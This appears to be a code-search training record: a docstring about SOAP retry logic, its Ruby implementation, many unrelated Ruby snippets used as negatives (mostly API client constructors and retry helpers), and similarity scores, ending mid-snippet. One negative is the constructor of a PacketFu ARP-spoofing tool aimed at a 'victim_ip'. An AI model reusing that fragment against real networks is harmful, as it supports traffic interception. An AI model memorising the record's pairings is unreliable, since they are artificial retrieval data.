55443\n end", "def initialize(app_id:, secret:, provider:, redirect_uri:)\n @uuid = UUID.new\n\n @app = app_id\n @secret = secret\n @provider = provider\n @redirect_uri = redirect_uri\n end", "def initialize(options = {})\n [:username, :password, :rpc_key, :auth_key].each do |credential|\n raise \"#{credential} is required\" if option[crendential].nil?\n instance_variable_set credential, options[crendential]\n end\n @server = XMLRPC::Client.new_from_hash(host: 'cp.secureserver.co.nz', path: '/remote_cp_server/server.asys', use_ssl: true)\n end", "def initialize(base_url, action, key, secret)\n @base_url = URI base_url\n @action = action.to_s.upcase\n @key = key\n @secret = secret\n @params = {}\n end", "def initialize(server, username: nil, password: nil)\n self.class.base_uri(URI.join(server, '/v1/').to_s)\n\n auth = if username && password\n Base64.encode64(\"#{username}:#{password}\")\n else\n ENV['KINTO_API_TOKEN']\n end\n\n self.class.headers('Authorization' => \"Basic #{auth}\")\n\n @server = KintoServer.new(client: self)\n end", "def initialize secret, options = {}\n @secret = Base32.decode secret\n @digits = options[:digits] || DEFAULT_DIGITS\n @digest = 'sha1'\n @type = 'hotp'\n end", "def initialize(from, to, client_secret)\n @from = from\n @to = to\n @client_secret = client_secret\n @access_token = fetch_access_token\n end", "def initialize(username, apikey, endpoint = 'https://api.passivetotal.org/v2/')\n unless apikey =~ /^[a-fA-F0-9]{64}$/\n raise ArgumentError.new(\"apikey must be a 64 character hex string\")\n end\n @username = username\n @apikey = apikey\n @endpoint = endpoint\n end", "def initialize(spoof_ip, victim_ip, iface = \"em1\", spoof = false)\n @spoof_ip = spoof_ip\n @victim_ip = victim_ip\n @victim_mac = PacketFu::Utils.arp(victim_ip, :iface => iface) #because we only want to attack one host\n @iface = iface\n @ifconfig = PacketFu::Utils.whoami?(:iface => iface)\n \n\n end", "def initialize(username, password, base_url)\n self.username = username\n self.password = password\n self.base_url = base_url\n end", "def new_client(id, env, private_key, secret)\n app_config = AppConfig.new(\n id: id,\n env: env,\n private_key: private_key,\n secret: secret\n )\n\n Client.new(config: app_config)\n end", "def initialize(client_key, client_secret)\n @client_key = client_key\n @client_secret = client_secret\n end", "def initialize\n self.http_client = HTTPClient.new(:base_url => Rdioid::BASE_URL, :force_basic_auth => true)\n\n http_client.set_auth(Rdioid::OAUTH_TOKEN_ENDPOINT, Rdioid.config.client_id, Rdioid.config.client_secret)\n end", "def initialize(args = {})\n @base_url = BASE_URL\n @client_id = args[:client_id]\n @client_secret = args[:client_secret]\n raise Error::MissingCredentialsError if credentials_missing?\n end", "def initialize (user_id, api_key, secret)\n @secret = secret\n @api_key = api_key\n @user = user_id\n @batch = nil\n\n self.protocol = 'https'\n self.host = 'sandbox.bunchball.net'\n self.accepts = 'json'\n end", "def initialize(ip:, username:, password:, port: \"80\", secure: nil, proxy: nil)\n super(ip: ip, username: username, password: password, port: port, secure: secure, proxy: proxy)\n self.to_commit = {}\n end" ]
[ "0.66503626", "0.65358144", "0.6535395", "0.6480533", "0.64308", "0.6396983", "0.6384762", "0.63621587", "0.6292732", "0.62678444", "0.62308407", "0.62217575", "0.6219481", "0.62122536", "0.62012225", "0.61954975", "0.6175477", "0.61457026", "0.6129223", "0.61158544", "0.6096973", "0.60879004", "0.6086716", "0.60858905", "0.6078874", "0.6049503", "0.60413146", "0.6006833", "0.59803164", "0.5973483", "0.5968866", "0.5968668", "0.5965235", "0.5961618", "0.5961618", "0.59550047", "0.59177625", "0.5916266", "0.5916266", "0.5912953", "0.59123564", "0.5890004", "0.5864589", "0.58641475", "0.58627415", "0.58512896", "0.5846164", "0.584609", "0.5835273", "0.5831494", "0.5822404", "0.5811847", "0.5808787", "0.580766", "0.57960945", "0.57939744", "0.5780401", "0.57746863", "0.5764948", "0.5755141", "0.5753536", "0.5752189", "0.5751207", "0.57345015", "0.57328355", "0.57201725", "0.5711657", "0.5695103", "0.5683936", "0.5682507", "0.5680259", "0.5673139", "0.5660938", "0.56562483", "0.56441563", "0.5635803", "0.56308186", "0.5629248", "0.56242037", "0.5618884", "0.56181926", "0.5615963", "0.56083846", "0.56069416", "0.56011915", "0.5599708", "0.55977416", "0.5584895", "0.5582258", "0.5577684", "0.557489", "0.5571416", "0.5568657", "0.5566559", "0.55657315", "0.5562467", "0.5561963", "0.5559068", "0.5555249", "0.55528235" ]
0.6999236
0
Provides automatic retry logic for transient SOAP errors. Args: time: A Fixnum that indicates how long the timeout should be set to when executing the caller's block. retry_on_except: A boolean that indicates if nontransient Exceptions should result in the caller's block being retried or not. callr: A String that names the caller's method, used for debugging purposes. Raises: FailedNodeException: if the given block contacted a machine that is either not running or is rejecting connections. SystemExit: If a nontransient Exception was thrown when executing the given block. Returns: The result of the block that was executed, or nil if the timeout was exceeded.
def make_call(time, retry_on_except, callr) refused_count = 0 max = 5 begin Timeout::timeout(time) { yield if block_given? } rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH if refused_count > max raise FailedNodeException.new("Connection was refused. Is the " + "AppController running?") else refused_count += 1 Kernel.sleep(1) retry end rescue Timeout::Error Djinn.log_warn("[#{callr}] SOAP call to #{@ip} timed out") return rescue OpenSSL::SSL::SSLError, NotImplementedError, Errno::EPIPE, Errno::ECONNRESET, SOAP::EmptyResponseError retry rescue Exception => except if retry_on_except retry else trace = except.backtrace.join("\n") HelperFunctions.log_and_crash("[#{callr}] We saw an unexpected error" + " of the type #{except.class} with the following message:\n" + "#{except}, with trace: #{trace}") end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def make_call(time, retry_on_except)\n begin\n Timeout::timeout(time) {\n yield if block_given?\n }\n rescue Errno::ECONNREFUSED\n if retry_on_except\n retry\n else\n abort(\"Connection was refused. Is the AppController running?\")\n end\n rescue OpenSSL::SSL::SSLError, NotImplementedError, Timeout::Error\n retry\n rescue Exception => except\n if retry_on_except\n retry\n else\n abort(\"We saw an unexpected error of the type #{except.class} with the following message:\\n#{except}.\")\n end\n end\n end", "def retry_method(retry_time=1.minute)\n log(:info, \"Retrying in #{retry_time} seconds\")\n $evm.root['ae_result'] = 'retry'\n $evm.root['ae_retry_interval'] = retry_time\n exit MIQ_OK\n end", "def retry_on_transient_error\n (options.retry_count.to_i + 1).times do |n|\n logger.debug \"Attempt ##{n}\"\n begin\n result = yield\n rescue Fog::Compute::AWS::Error => e\n sleep_seconds = options.retry_interval * (n+1)\n logger.warn \"Received AWS error: #{e}\"\n logger.warn \"Sleeping #{sleep_seconds} seconds before retrying\"\n sleep sleep_seconds\n else\n return result\n end\n end\n nil\n end", "def retry_block(options = {}, &block)\n options = {\n :retry => 1,\n :data => {},\n :type => StandardError\n }.merge(options)\n \n retries = case options[:retry]\n when true\n 1\n when Integer\n options[:retry]\n else\n 0\n end\n \n types = [ options[:type] ].flatten.compact\n \n begin\n yield\n rescue *types => ex\n if retries > 0\n return self.send(__method__, options.merge(:retry => retries - 1), &block)\n else\n notify_exception(ex, :data => options[:data], :raise => true)\n end\n end\n end", "def attempt(times, &block)\n n = times\n result = nil\n begin\n result = block.call(self) unless block.nil?\n rescue Exception => ex\n times -= 1\n retry if times >= 0\n raise ex\n end\n result\n end", "def retry_timeout\n if !block_given?\n return @j_del.java_method(:retryTimeout, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling retry_timeout()\"\n end", "def retryable( options = {}, &block )\n opts = { :tries => 1, :on => Exception }.merge(options)\n\n return nil if opts[:tries] == 0\n \n retry_exception, tries = [ opts[:on] ].flatten, opts[:tries]\n \n begin\n return yield\n rescue *retry_exception\n retry if (tries -= 1) > 0\n end\n \n yield\nend", "def retry_action (initial_wait_time_in_seconds=3, max_attempts=3, &block)\n num_tries = 0\n wait_time = 1\n successful = false\n\n while (num_tries <= max_attempts && !successful)\n begin\n block.call\n successful = true\n rescue StandardError => ex\n num_tries += 1\n wait_time *= initial_wait_time_in_seconds\n sleep(wait_time)\n end\n end\n end", "def rescue_retry\n 3/0\nrescue Exception => e\n attempts ||= 0\n attempts += 1\n\n if attempts < 3\n puts e.message + '. Retrying'\n # retry returns the execution to the beginning of the method\n retry\n else\n puts 'No way! It failed'\n raise\n end\nend", "def retry_on_fail(args, &blk)\n success = FALSE\n if args[:times].respond_to?(:times) and block_given?\n args[:times].times do |i|\n begin\n blk.call\n success = TRUE\n break\n rescue\n puts \"An error was encountered evaluating block. Retrying..\"\n end\n end\n else\n fail \"retry_on_fail requires and arg (:times => x) where x is an Integer/Fixnum, and a block to execute\"\n end\n fail \"Block failed maximum of #{args[:times]} tries. Exiting..\" unless success\nend", "def retry_execution(retry_message, times = AgentConfig.max_packages_install_retries)\n count = 0\n success = false\n begin\n count += 1\n success = yield\n @audit.append_info(\"\\n#{retry_message}\\n\") unless success || count > times\n end while !success && count <= times\n success\n end", "def trythreetimes\n tries = 0\n begin\n yield\n rescue Exception => e \n tries += 1\n logger \"Error: #{e.message}\"\n if tries < 3\n logger \"Waiting 5 seconds and trying again...\"\n sleep(5)\n retry\n end\n logger \"Giving up and ending program!\"\n abort\n end\nend", "def retry_block(n = MAX_NODE_QUERY_RETRIES, &block)\n begin\n block.call\n rescue Selenium::WebDriver::Error::StaleElementReferenceError, Capybara::TimeoutError, Capybara::ElementNotFound, Selenium::WebDriver::Error::UnknownError, Capybara::Driver::Webkit::NodeNotAttachedError\n if (n -= 1) >= 0\n sleep(30 / (n + 1))\n retry\n else\n raise\n end\n end\nend", "def retry\n self.solved(:retry)\n end", "def retry!\n raise RetryMessage\n end", "def _retryable(a_func, retry_options)\n delay_mult = retry_options.backoff_settings.retry_delay_multiplier\n max_delay = (retry_options.backoff_settings.max_retry_delay_millis /\n MILLIS_PER_SECOND)\n timeout_mult = retry_options.backoff_settings.rpc_timeout_multiplier\n max_timeout = (retry_options.backoff_settings.max_rpc_timeout_millis /\n MILLIS_PER_SECOND)\n total_timeout = (retry_options.backoff_settings.total_timeout_millis /\n MILLIS_PER_SECOND)\n\n proc do |request, **kwargs|\n delay = retry_options.backoff_settings.initial_retry_delay_millis\n timeout = (retry_options.backoff_settings.initial_rpc_timeout_millis /\n MILLIS_PER_SECOND)\n exc = nil\n result = nil\n now = Time.now\n deadline = now + total_timeout\n\n while now < deadline\n begin\n exc = nil\n result = _add_timeout_arg(a_func, timeout).call(request, **kwargs)\n break\n rescue => exception\n if exception.respond_to?(:code) &&\n !retry_options.retry_codes.include?(exception.code)\n raise RetryError.new('Exception occurred in retry method that ' \\\n 'was not classified as transient',\n cause: exception)\n end\n exc = RetryError.new('Retry total timeout exceeded with exception',\n cause: exception)\n sleep(rand(delay) / MILLIS_PER_SECOND)\n now = Time.now\n delay = [delay * delay_mult, max_delay].min\n timeout = [timeout * timeout_mult, max_timeout, deadline - now].min\n end\n end\n raise exc unless exc.nil?\n result\n end\n end", "def try(&block)\n\n tries = REST_MAX_TRIES\n\n begin\n yield\n rescue\n tries -= 1\n tries > 0 ? retry : raise\n end\n end", "def retry_service(e) # e == rescued error\n\t\t\tif self.tries <= 10\n\t\t\t\tself.tries += 1\n\t\t\t\t# puts \"Connection issues... retrying in 3 seconds\"\n\t\t\t\tsleep(3)\n\t\t\t\tself.call_service\n\t\t\telse\n\t\t\t\tputs \"Backtrace: #{e.backtrace}\"\n\t\t\t\tputs \"BIG TIME ERROR getting: #{self.url}\"\n\t\t\tend\n\t\tend", "def retry_on_error(retry_count, &block)\n block.call\n rescue ActiveRecord::StatementInvalid\n # cope with \"Mysql2::Error: Deadlock found ...\" exception\n if retry_count > 0\n sleep 0.2\n retry_count -= 1\n puts \"Retry trade execution (#{retry_count} retry left) ..\"\n retry\n else\n puts \"Failed to execute trade: #{@payload.inspect}\"\n raise $!\n end\n end", "def retryable(options = {}, &block)\n options = {:max_retries => 4, :on_retry => nil, :retry_delay => 1.0}.merge!(options)\n retry_count = options[:max_retries]\n\n begin\n yield\n\n rescue Beaneater::NotConnected\n if retry_count > 0\n reconnect!\n retry_count -= 1\n sleep options[:retry_delay]\n options[:on_retry].call if options[:on_retry].respond_to?(:call)\n retry\n else # stop retrying\n raise e\n end\n end\n end", "def with_retries(&block)\n base_sleep_seconds = 0.5\n max_sleep_seconds = 300 # 5 minutes\n\n # Let's do this thing\n attempts = 0\n\n begin\n attempts += 1\n return block.call(attempts)\n\n rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::EHOSTUNREACH,\n Errno::ENETDOWN, Errno::ENETUNREACH, Errno::ETIMEDOUT, Timeout::Error => ex\n\n raise ex if attempts >= 100\n\n # The sleep time is an exponentially-increasing function of base_sleep_seconds.\n # But, it never exceeds max_sleep_seconds.\n sleep_seconds = [base_sleep_seconds * (2 ** (attempts - 1)), max_sleep_seconds].min\n # Randomize to a random value in the range sleep_seconds/2 .. sleep_seconds\n sleep_seconds = sleep_seconds * (0.5 * (1 + rand()))\n # But never sleep less than base_sleep_seconds\n sleep_seconds = [base_sleep_seconds, sleep_seconds].max\n\n warn \"Failed to connect: #{ex}. Retrying in #{sleep_seconds.round(1)} seconds.\"\n\n snooze(sleep_seconds)\n\n retry\n end\n end", "def retry\n raise \"#{@error_msg_prefix} must be passed a block\" unless block_given?\n\n attempts = 0\n start_time = Time.now\n begin\n attempts += 1\n yield attempts\n rescue InfluxError => e\n if attempts > @max_retries\n @api_client.log(:error, 'Maximum retry attempts reached.')\n raise e\n end\n\n if (Time.now - start_time) * 1000 > @max_retry_time\n @api_client.log(:error, \"Maximum retry time #{@max_retry_time} ms exceeded\")\n raise e\n end\n\n raise e if (e.code.nil? || e.code.to_i < 429) && !_connection_error(e.original)\n\n timeout = if e.retry_after.nil? || e.retry_after.empty?\n get_backoff_time(attempts)\n else\n (e.retry_after.to_f * 1000) + @jitter_interval * rand\n end\n\n message = 'The retriable error occurred during writing of data. '\\\n \"Reason: '#{e.message}'. Retry in: #{timeout.to_f / 1000}s.\"\n\n @api_client.log(:warn, message)\n sleep timeout / 1000\n retry\n end\n end", "def retry_before_failing\n sleeping(NODE_QUERY_WAIT_TIME).seconds.between_tries.failing_after(MAX_NODE_QUERY_RETRIES).tries do\n yield\n end\n yield\n end", "def call_with_retry(name, request)\n count = 0\n response = nil\n\n begin\n response = call(name, request)\n rescue ::EM::Warden::Client::ConnectionError => error\n count += 1\n logger.warn(\"Request failed: #{request.inspect}, retrying ##{count}.\")\n logger.error(error)\n retry\n end\n\n if count > 0\n logger.debug(\"Request succeeded after #{count} retries: #{request.inspect}\")\n end\n response\n end", "def exponential_retry(&block)\n retry_options = Utilities::interpret_block_for_options(ExponentialRetryOptions, block)\n @_exponential_retry = retry_options\n end", "def with_retry(cluster, retries = cluster.max_retries, &block)\n begin\n block.call\n rescue Errors::ConnectionFailure => e\n if retries > 0\n Loggable.warn(\" BONES-RPC:\", \"Retrying connection attempt #{retries} more time(s).\", \"n/a\")\n sleep(cluster.retry_interval)\n cluster.refresh\n with_retry(cluster, retries - 1, &block)\n else\n raise e\n end\n end\n end", "def retry_request(is_read_only = false)\n attempts = 0\n begin\n yield\n rescue OpenSSL::SSL::SSLError => e\n raise e unless @enable_retry\n # These errors pertain to the SSL handshake. Since no data has been\n # exchanged its always safe to retry\n raise e if attempts >= @max_attempts\n attempts += 1\n retry\n rescue Errno::ECONNRESET, RestClient::ServerBrokeConnection, RestClient::RequestTimeout => e\n raise e unless @enable_retry\n # Packetloss related.\n # There are two timeouts on the ssl negotiation and data read with different\n # times. Unfortunately the standard timeout class is used for both and the\n # exceptions are caught and reraised so you can't distinguish between them.\n # Unfortunate since ssl negotiation timeouts should always be retryable\n # whereas data may not.\n if is_read_only\n raise e if attempts >= @max_attempts\n attempts += 1\n retry\n else\n raise e\n end\n rescue ApiError => e\n if re_login?(e)\n # Session is expired or invalid\n login()\n retry\n else\n raise e\n end\n end\n end", "def retry_block_until_true\n (0..RETRY_COUNT).each do\n return if yield\n sleep RETRY_STEP\n end\n Puppet.debug get_cluster_debug_report if is_online?\n fail \"Execution timeout after #{RETRY_COUNT * RETRY_STEP} seconds!\"\n end", "def retry_until\n if @retry == 0\n job = yield\n else\n begin\n job = yield\n rescue DRMAA::DRMAATryLater\n STDERR.puts \"... sleeping\"\n sleep @retry\n retry\n end\n end\n return job\n end", "def with_limited_retry(opts)\n tries = opts.fetch :tries\n exceptions = Array(opts.fetch(:exceptions))\n\n return if tries == 0\n\n begin\n yield\n rescue *exceptions\n Chef::Log.warn('Bad response, try again...')\n if (tries -= 1) > 0\n sleep 1\n retry\n end\n end\n end", "def publish_with_timeout_retry(request, parent, count = 0, multiplier = 1, elapsed = 0, broker_ids = nil)\n published_broker_ids = publish(request, broker_ids)\n\n if @retry_interval && @retry_timeout && parent\n interval = [(@retry_interval * multiplier) + (@request_stats.avg_duration || 0), @retry_timeout - elapsed].min\n EM.add_timer(interval) do\n begin\n if handler = @pending_requests[parent]\n count += 1\n elapsed += interval\n if elapsed < @retry_timeout\n request.tries << request.token\n request.token = AgentIdentity.generate\n @pending_requests[parent].retry_parent = parent if count == 1\n @pending_requests[request.token] = @pending_requests[parent]\n broker_ids ||= @broker.all\n publish_with_timeout_retry(request, parent, count, multiplier * RETRY_BACKOFF_FACTOR, elapsed,\n broker_ids.push(broker_ids.shift))\n @retry_stats.update(request.type.split('/').last)\n else\n Log.warning(\"RE-SEND TIMEOUT after #{elapsed.to_i} seconds for #{request.trace} #{request.type}\")\n result = OperationResult.non_delivery(OperationResult::RETRY_TIMEOUT)\n @non_delivery_stats.update(result.content)\n handle_response(Result.new(request.token, request.reply_to, result, @identity))\n end\n @connectivity_checker.check(published_broker_ids.first) if count == 1\n end\n rescue TemporarilyOffline => e\n # Send retry response so that requester, e.g., IdempotentRequest, can retry\n Log.error(\"Failed retry for #{request.trace} #{request.type} because temporarily offline\")\n result = OperationResult.retry(\"lost connectivity\")\n handle_response(Result.new(request.token, request.reply_to, result, @identity))\n rescue SendFailure => e\n # Send non-delivery response so that requester, e.g., IdempotentRequest, can retry\n Log.error(\"Failed retry for #{request.trace} #{request.type} because of send failure\")\n result = OperationResult.non_delivery(\"retry failed\")\n handle_response(Result.new(request.token, request.reply_to, result, @identity))\n rescue Exception => e\n # Not sending a response here because something more basic is broken in the retry\n # mechanism and don't want an error response to preempt a delayed actual response\n Log.error(\"Failed retry for #{request.trace} #{request.type} without responding\", e, :trace)\n @exception_stats.track(\"retry\", e, request)\n end\n end\n end\n true\n end", "def retry_read(original_error, session, server_selector, failed_server: nil, &block)\n begin\n server = select_server(cluster, server_selector, session, failed_server)\n rescue Error, Error::AuthError => e\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n \n log_retry(original_error, message: 'Read retry')\n \n begin\n yield server, true\n rescue *retryable_exceptions => e\n e.add_notes('modern retry', 'attempt 2')\n raise e\n rescue Error::OperationFailure, Error::PoolError => e\n e.add_note('modern retry')\n unless e.write_retryable?\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n e.add_note(\"attempt 2\")\n raise e\n rescue Error, Error::AuthError => e\n e.add_note('modern retry')\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n end", "def ts_retry(attempts=1, &block)\n attempt = 0\n \n begin\n yield block\n rescue RSpec::Expectations::ExpectationNotMetError => e\n attempt += 1\n if attempt > attempts\n raise e\n else\n sleep 0.5\n retry\n end\n end\n end", "def try_three_times\n tries = 0\n begin\n yield\n rescue Exception => e\n tries += 1\n @log.error(\"Error: #{e.message}\")\n if tries < 3\n @log.error(\"Trying again\")\n retry\n end\n @log.error(\"Tried 3 times without success, aborting.\")\n return nil\n end\n end", "def retry_until\n if @retry == 0\n job = yield\n else\n begin\n job = yield\n rescue DRMAA::DRMAATryLater\n STDERR.puts \"... sleeping\"\n sleep @retry\n retry\n end\n end\n return job\n end", "def trap_error(&block)\n time_secs = 0\n begin\n fail \"\\nERROR: #{e}\\n\" if time_secs > 5.0\n yield\n rescue Capybara::ElementNotFound => e\n fail \"\\nCapybara::ElementNotFound => #{e}\\n\"\n rescue Selenium::WebDriver::Error::StaleElementReferenceError => e\n puts \"\\nError locating element: #{e} : retrying\"\n sleep 0.5\n time_secs += 0.5\n retry\n rescue Selenium::WebDriver::Error::ObsoleteElementError => e\n puts \"\\nError locating element: #{e} : retrying\"\n sleep 0.5\n time_secs += 0.5\n retry\n end\n end", "def timeout_safe # :block\n error_n = 0\n begin\n $stderr.puts(\" try get same page again...\") if error_n > 0\n yield\n rescue Errno::EBADF, Timeout::Error\n error_n += 1\n error_name = $!.class.to_s\n if error_n >= 3\n $stderr.puts \"#{error_name} ERROR #3\"\n raise $!\n end\n sleep_for = error_n * 5\n $stderr.puts \"#{error_name} ERROR ##{error_n}, sleep #{sleep_for} seconds before next attempt\"\n sleep sleep_for\n retry\n end\nend", "def timeout\n time = time_ago_in_words(@timeout.seconds.from_now)\n logger.warn(\"Response: Parse Error. Retry in #{time}\")\n\n sleep(@timeout)\n @timeout *= 2 if @timeout < TIMEOUT_UPPER_CAP\n end", "def execute_gcloud_method(method_name, retry_count=0, *params)\n begin\n self.send(method_name, *params)\n rescue => e\n current_retry = retry_count + 1\n Rails.logger.error \"error calling #{method_name} with #{params.join(', ')}; #{e.message} -- attempt ##{current_retry}\"\n retry_time = retry_count * RETRY_INTERVAL\n sleep(retry_time) unless RETRY_BACKOFF_BLACKLIST.include?(method_name)\n # only retry if status code indicates a possible temporary error, and we are under the retry limit and\n # not calling a method that is blocked from retries. In case of a NoMethodError or RuntimeError, use 500 as the\n # status code since these are unrecoverable errors\n if e.respond_to?(:code)\n status_code = e.code\n elsif e.is_a?(NoMethodError) || e.is_a?(RuntimeError)\n status_code = 500\n else\n status_code = nil\n end\n if should_retry?(status_code) && retry_count < MAX_RETRY_COUNT && !ERROR_IGNORE_LIST.include?(method_name)\n execute_gcloud_method(method_name, current_retry, *params)\n else\n # we have reached our retry limit or the response code indicates we should not retry\n Rails.logger.error \"Retry count exceeded calling #{method_name} with #{params.join(', ')}: #{e.message}\"\n raise e\n end\n end\n end", "def retry_command\n (0..RETRY_COUNT).each do\n begin\n out = yield\n rescue Puppet::ExecutionFailure => e\n Puppet.debug \"Command failed: #{e.message}\"\n sleep RETRY_STEP\n else\n return out\n end\n end\n Puppet.debug get_cluster_debug_report if is_online?\n fail \"Execution timeout after #{RETRY_COUNT * RETRY_STEP} seconds!\"\n end", "def read_with_one_retry(options = nil)\n yield\n rescue Error::SocketError, Error::SocketTimeoutError => e\n retry_message = options && options[:retry_message]\n log_retry(e, message: retry_message)\n yield\n end", "def retry_function; FlowConstants.exponential_retry_function; end", "def retry_block(attempts: 1, sleep_for: 0.5)\n begin\n yield\n rescue Capybara::ElementNotFound => ex\n if attempts > 0\n attempts -= 1\n sleep(sleep_for)\n retry\n else\n raise ex\n end\n end\n end", "def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue Java::JavaSql::SQLException => e\n raise unless /^(Closed Connection|Io exception:|No more data to read from socket|IO Error:)/.match?(e.message)\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end", "def wrapped_retry(failed_to_what, opts, &block)\n result = nil\n\n begin\n Retryable.retryable(tries: RETRY_RETRIES, sleep: RETRY_BACKOFF) do\n result = yield\n end\n rescue Exception => e\n log :error, \"failed to #{failed_to_what}\", exception: e\n return false\n end\n\n opts[:return] == :is_error_free ? true : result\nend", "def request_with_retry(request, body=nil, attempts=2, time=10)\n loop do\n if debug\n puts \"\\n####\"\n puts \"## Making #{request.method} request to #{@http.address + request.path}\"\n puts \"## Request body: #{body}\" if body\n end\n @response = @http.request(request, body)\n @parsed_response = JSON.parse(@response.body) rescue nil\n if debug\n puts \"## Response code: #{@response.code}\"\n if debug == \"verbose\"\n puts \"## Response body: #{@response.body}\"\n elsif @parsed_response &&\n Hash === @parsed_response &&\n @parsed_response[\"message\"]\n puts \"## Error message: #{@parsed_response[\"message\"]}\"\n end\n end\n break unless @response.code =~ /^5\\d{2}$/\n\n attempts -= 1\n break if attempts.zero?\n\n if debug\n puts \"## Retries remaining: #{attempts}, pausing #{time} seconds.\"\n else\n print 'R'\n end\n\n sleep(time)\n end\n @parsed_response\n end", "def with_retry(*exceptions, attempts: RETRY_ATTEMPTS, base: RETRY_BASE, cap: RETRY_CAP, &block)\n attempt = 0\n\n begin\n return (yield)\n rescue *exceptions => error\n raise unless attempt < attempts\n\n warn \"Retry #{block} on error: #{error}\"\n\n retry_sleep [cap, base * 2 ** attempt].min\n\n attempt += 1\n\n retry\n end\n end", "def retryable(retries, delay)\r\n yield\r\n rescue *RETRYABLE_EXCEPTIONS.call\r\n raise unless (retries -= 1) > 0\r\n\r\n sleep(delay)\r\n retry\r\n end", "def retry\n self.class.enqueue(\n object,\n method_name,\n *(args << {\n :job_options => {\n :parent_id => parent_id || id,\n :run_at => Time.now + times_failed ** 4,\n :priority => priority\n }\n })\n )\n end", "def expect_with_retry attempts: 5\n attempt_number ||= 0\n yield\n rescue RSpec::Expectations::ExpectationNotMetError\n attempt_number += 1\n retry if attempt_number < attempts\n raise\n end", "def retry! request\n return if request[:retry] > 40\n\n @request.defer!(publisher, CnsBase::HttpClient::HttpRequestSignal.new(publisher, request.method, request.uri, request.query, request.body, request.header, request.name, request.params.merge!({:retry => request[:retry]+1})))\n raise CnsDb::SimpleDb::Errors::RetryError.new\n end", "def call_retry(opts = {})\n data, _status_code, _headers = call_retry_with_http_info(opts)\n data\n end", "def retry_until_ok(&block)\n # Lock usage:\n # 1. @stop.mutex\n\n begin\n yield block\n rescue OplogException, StaleCursorException\n raise\n rescue => e\n @logger.error \"#{@name}: #{get_full_exception_msg(e)}\"\n sleep @err_retry_interval\n\n do_stop = @stop.use { |stop, mutex| stop }\n if do_stop then\n raise RetryFailedException.new(e)\n else\n retry\n end\n end\n end", "def retry_later\n @meta[Cworked_at] = nil\n @meta[Crt_count] += 1\n @meta[Crt_at] = Time.now.utc + (queue.rt_at_interval * @meta[Crt_count])\n put_meta\n\n rcache.lpush(queue.retries_cache_key, trx_id)\n rcache.lrem(queue.working_cache_key, 0, trx_id)\n end", "def should_retry(e)\n options[:exceptions_to_retry].each {|ex_class| return true if e.instance_of?(ex_class)}\n false\n end", "def retry!\n raise 'Not implemented!'\n end", "def retry(retry_count)\n Observable.rescue_error(enumerator_repeat_times(retry_count, self))\n end", "def retry_options\n {tries: 15, sleep: 1}\n end", "def on_retries_exhausted(&block)\n @retries_exhausted_handler = block\n end", "def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue NativeException => e\n raise unless e.message =~ /^java\\.sql\\.SQLException: (Closed Connection|Io exception:|No more data to read from socket)/\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end", "def with_error_handling\n return_value = yield\n @retry_count = 0\n return_value\n\n rescue PG::Error => e\n if recoverable_error?(e.message) && @retry_count < @max_retries\n @retry_count += 1\n sleep_time = sleep_time_for_error(e.message)\n log \"Failed with recoverable error (#{e.class}): #{e.message}\"\n log \"Retry attempt #{@retry_count} will occur after #{sleep_time} seconds\"\n sleep sleep_time\n retry\n\n else\n @retry_count = 0\n @error_occurred = true\n log \"An error occurred (#{e.class}): #{e.message}\"\n\n if @print_backtrace_for_all_errors || !error_backtrace_is_not_helpful?(e.class)\n log e.backtrace.join(\"\\n\")\n end\n raise e if @abort_on_error\n end\n end", "def on_error_retry_delay(_exception)\n nil\n end", "def retry_request(http, *args)\n 5.times do\n begin\n return http.send(:send_request, *args)\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n Chef::Log.debug('couchdb connection failed')\n end\n sleep 1\n end\n Chef::Log.debug('failed to connect to couchdb after 5 tries ... failing chef run')\n fail 'unable to connect to couchdb'\n end", "def retry_transaction(&block)\n tries = 3\n begin\n yield\n rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotUnique\n tries -= 1\n if tries > 0\n retry\n else\n raise\n end\n end\n end", "def save_with_retry\n tries ||= 3\n save\n\n rescue Errno::ECONNRESET, Net::ReadTimeout, Net::OpenTimeout => e\n raise e if tries == 0\n tries -= 1\n sleep(3)\n retry\n end", "def wait_for(&block)\n Retriable.retriable tries: 15, base_interval: 0.05, max_interval: 1.second do\n raise \"Exceeded max retries while waiting for block to pass\" unless block.call\n end\n end", "def test_retries_then_raises_unexpected_exception\n client_stub = make_client_stub\n\n call_count = 0\n make_request_proc = lambda do |args|\n call_count += 1\n raise RuntimeError if call_count == 3\n raise FakeFaradayError.new(GRPC::Core::StatusCodes::UNAVAILABLE)\n end\n\n sleep_proc = ->(count) { }\n\n options = Gapic::CallOptions.new(\n timeout: 1,\n retry_policy: {\n retry_codes: [GRPC::Core::StatusCodes::UNAVAILABLE], \n }\n )\n\n Kernel.stub :sleep, sleep_proc do\n client_stub.stub :base_make_http_request, make_request_proc do\n ex = assert_raises RuntimeError do\n client_stub.make_get_request uri: \"/foo\", options: options\n end\n end\n end\n\n assert_equal 3, call_count\n end", "def retryable(&block)\n RetryableRecord.retry(self, &block)\n end", "def retryable(opts = nil)\n opts = { tries: 1, on: Exception }.merge(opts || {})\n\n begin\n return yield\n rescue *opts[:on] => e\n if (opts[:tries] -= 1) > 0\n $stderr.puts(\"Retryable exception raised: #{e.inspect}\")\n\n sleep opts[:sleep].to_f if opts[:sleep]\n retry\n end\n raise\n end\nend", "def with_timeout(timeout, &block)\n block.call\n rescue IO::WaitReadable => e\n if IO::select([self], nil, nil, timeout)\n retry\n else\n fail Aerospike::Exceptions::Connection, \"Socket timeout: #{e}\"\n end\n rescue IO::WaitWritable => e\n if IO::select(nil, [self], nil, timeout)\n retry\n else\n fail Aerospike::Exceptions::Connection, \"Socket timeout: #{e}\"\n end\n rescue => e\n raise Aerospike::Exceptions::Connection, \"Socket error: 